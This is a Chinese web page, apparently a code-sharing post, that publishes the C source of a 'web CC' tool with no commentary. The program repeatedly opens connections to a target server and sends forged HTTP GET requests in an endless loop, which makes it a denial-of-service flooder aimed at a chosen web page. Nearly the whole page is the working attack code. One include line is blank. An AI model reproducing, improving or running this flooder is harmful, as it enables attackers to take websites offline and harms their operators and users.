網頁cc***源碼

#include    
#include <stdio.h>   
#include <stdlib.h>   
#include <string.h>   
  
  
DWORD resolveIP(char *hostName)  
{  
    hostent *hent;  
    char **addresslist;  
    DWORD result = 0;  
  
    hent = gethostbyname(hostName);  
    if(hent)  
    {  
        addresslist = hent->h_addr_list;  
      
        if (*addresslist)   
        {  
            result = *((DWORD *)(*addresslist));  
        }  
    }  
  
    return result;  
}  
  
  
SOCKET ProxyConnect(char *host, int port)  
{  
   SOCKET sock;  
  
    sock = socket(AF_INET, SOCK_STREAM, 0);  
  
    if(sock == INVALID_SOCKET)  
        return sock;  
  
    sockaddr_in sin;  
  
    DWORD ip = resolveIP(host);  
    if(ip == 0)  
        ip = inet_addr(host);  
  
    sin.sin_addr.s_addr = ip;  
    sin.sin_family = AF_INET;  
    sin.sin_port = htons(port);  
  
   connect(sock, (sockaddr *)&sin, sizeof(sin));  
  
 fd_set rd;  
 struct timeval tv;  
  
 tv.tv_sec = 0;  
 tv.tv_usec = 50;  
 FD_ZERO(&rd);  
 FD_SET(sock, &rd);  
 if(select(sock + 1, &rd, NULL, NULL, &tv) < 0)  
  
    {     
        closesocket(sock);  
        return INVALID_SOCKET;  
    }  
  
    return sock;  
}  
  
  
  
  
int main(int argc,char **argv)  
{  
  
      if(argc<4)  
      {  
            printf("webcc ip pagepath port\n");  
            printf("webcc 10.0.3.127 /mainpage/index.asp 80\n");  
            exit(0);  
      }  
      WSAData GInitData;  
      if (WSAStartup(MAKEWORD(2,1),&GInitData) != 0)  
      {  
        printf("初始化SOCKET函數失敗!\n");  
        return 0;  
      }  
  
      int sendlen = 0;  
  
      SOCKET S=ProxyConnect(argv[1],atoi(argv[3]));  
      if (S==INVALID_SOCKET)  
      {  
        printf("不能連接目標服務器\n");  
        return 0;  
      }  
        
      char url[4096] = "\0";  
      sprintf(url,"GET %s HTTP/1.0\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* \r\nAccept-Language: zh-cn\r\nAccept-Encoding: gzip, deflate\r\nIf-Modified-Since: Sun, 26 Jun 2005 15:43:05 GMT\r\nIf-None-Match: \"60794-12b3-e4169440\"\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\r\nHost: %s\r\n\r\n",argv[2],argv[1]);  
              
            for(;;)  
            {  
                if(S > 0)  
               sendlen  = send(S,url,strlen(url) ,0);  
                closesocket(S);  
            //  else   
            //  {   
                            S=ProxyConnect(argv[1],atoi(argv[3]));  
                    if (S==INVALID_SOCKET)  
                    {  
                        printf("不能連接目標服務器\n");  
                        return 0;  
                    }  
                          
            //  }   
                  
                printf(".");  
                  
            }  
                  
      closesocket(S);  
            return 0;  

 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章